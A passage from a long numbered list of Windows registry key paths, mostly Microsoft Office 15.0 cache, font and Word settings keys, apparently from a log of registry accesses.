  1475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
  1484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1485. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  1488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  1489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  1490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  1492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  1493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  1495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  1496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1498. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  1500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  1501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  1503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\NextUpdate",
  1505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\LastUpdate",
  1506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\09D07EFC505F4D9CBFD5ACE3217F6654",
  1507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\10F5394\\1300D0C",
  1508. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  1509. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  1510. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  1511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\NextUpdate",
  1512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\LastUpdate",
  1513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\NextUpdate",
  1514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\LastUpdate",
  1515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\NextUpdate",
  1516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\LastUpdate",
  1517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Toolbars\\Settings\\Microsoft Word",
  1518. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109E60090400000000000F01FEC\\Usage\\ProductNonBootFilesIntl_1033",
  1519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations",
  1520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0",
  1521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\File Path",
  1522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Datetime",
  1523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Position",
  1524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Arial Unicode MS",
  1525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Batang",
  1526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@BatangChe",
  1527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DFKai-SB",
  1528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Dotum",
  1529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DotumChe",
  1530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@FangSong",
  1531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gulim",
  1532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GulimChe",
  1533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gungsuh",
  1534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GungsuhChe",
  1535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@KaiTi",
  1536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Malgun Gothic",
  1537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo",
  1538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo UI",
  1539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei",
  1540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei UI",
  1541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei",
  1542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei UI",
  1543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU",
  1544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS",
  1545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS-ExtB",
  1546. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU-ExtB",
  1547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Gothic",
  1548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Mincho",
  1549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PGothic",
  1550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PMincho",
  1551. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS UI Gothic",
  1552. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@NSimSun",
  1553. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU",
  1554. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU-ExtB",
  1555. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimHei",
  1556. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun",
  1557. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun-ExtB",
  1558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Agency FB",
  1559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aharoni",
  1560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Algerian",
  1561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Andalus",
  1562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Angsana New",
  1563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\AngsanaUPC",
  1564. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aparajita",
  1565. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arabic Typesetting",
  1566. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial",
  1567. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Black",
  1568. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Narrow",
  1569. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Rounded MT Bold",
  1570. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Unicode MS",
  1571. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Baskerville Old Face",
  1572. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Batang",
  1573. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BatangChe",
  1574. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bauhaus 93",
  1575. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bell MT",
  1576. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB",
  1577. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB Demi",
  1578. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bernard MT Condensed",
  1579. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Blackadder ITC",
  1580. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT",
  1581. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Black",
  1582. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Condensed",
  1583. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Poster Compressed",
  1584. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Book Antiqua",
  1585. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookman Old Style",
  1586. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookshelf Symbol 7",
  1587. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bradley Hand ITC",
  1588. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Britannic Bold",
  1589. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Broadway",
  1590. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Browallia New",
  1591. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BrowalliaUPC",
  1592. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Brush Script MT",
  1593. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri",
  1594. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri Light",
  1595. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Californian FB",
  1596. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calisto MT",
  1597. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria",
  1598. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria Math",
  1599. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Candara",
  1600. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Castellar",
  1601. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Centaur",
  1602. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century",
  1603. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Gothic",
  1604. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Schoolbook",
  1605. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Chiller",
  1606. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Colonna MT",
  1607. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Comic Sans MS",
  1608. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Consolas",
  1609. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Constantia",
  1610. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cooper Black",
  1611. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Bold",
  1612. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Light",
  1613. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Corbel",
  1614. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cordia New",
  1615. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\CordiaUPC",
  1616. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Courier New",
  1617. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Curlz MT",
  1618. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DaunPenh",
  1619. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\David",
  1620. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DFKai-SB",
  1621. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DilleniaUPC",
  1622. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DokChampa",
  1623. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Dotum",
  1624. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DotumChe",
  1625. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ebrima",
  1626. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Edwardian Script ITC",
  1627. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Elephant",
  1628. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Engravers MT",
  1629. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Bold ITC",
  1630. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Demi ITC",
  1631. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Light ITC",
  1632. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Medium ITC",
  1633. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Estrangelo Edessa",
  1634. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\EucrosiaUPC",
  1635. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Euphemia",
  1636. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FangSong",
  1637. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Felix Titling",
  1638. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Footlight MT Light",
  1639. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Forte",
  1640. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Book",
  1641. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi",
  1642. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi Cond",
  1643. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Heavy",
  1644. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium",
  1645. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium Cond",
  1646. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FrankRuehl",
  1647. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FreesiaUPC",
  1648. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Freestyle Script",
  1649. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\French Script MT",
  1650. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gabriola",
  1651. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gadugi",
  1652. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Garamond",
  1653. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gautami",
  1654. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Georgia",
  1655. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gigi",
  1656. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT",
  1657. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Condensed",
  1658. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Ext Condensed Bold",
  1659. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold",
  1660. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold Condensed",
  1661. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gisha",
  1662. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gloucester MT Extra Condensed",
  1663. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Old Style",
  1664. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Stout",
  1665. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gulim",
  1666. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GulimChe",
  1667. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gungsuh",
  1668. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GungsuhChe",
  1669. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Haettenschweiler",
  1670. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harlow Solid Italic",
  1671. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harrington",
  1672. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\High Tower Text",
  1673. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Impact",
  1674. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Imprint MT Shadow",
  1675. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Informal Roman",
  1676. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\IrisUPC",
  1677. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Iskoola Pota",
  1678. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\JasmineUPC",
  1679. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Jokerman",
  1680. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Juice ITC",
  1681. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KaiTi",
  1682. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kalinga",
  1683. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kartika",
  1684. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Khmer UI",
  1685. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KodchiangUPC",
  1686. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kokila",
  1687. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kristen ITC",
  1688. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kunstler Script",
  1689. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lao UI",
  1690. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Latha",
  1691. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Leelawadee",
  1692. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Levenim MT",
  1693. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\LilyUPC",
  1694. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Bright",
  1695. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Calligraphy",
  1696. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Console",
  1697. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Fax",
  1698. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Handwriting",
  1699. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans",
  1700. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Typewriter",
  1701. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Unicode",
  1702. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Magneto",
  1703. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Maiandra GD",
  1704. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Malgun Gothic",
  1705. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mangal",
  1706. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Marlett",
  1707. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Matura MT Script Capitals",
  1708. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo",
  1709. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo UI",
  1710. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Himalaya",
  1711. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei",
  1712. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei UI",
  1713. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft New Tai Lue",
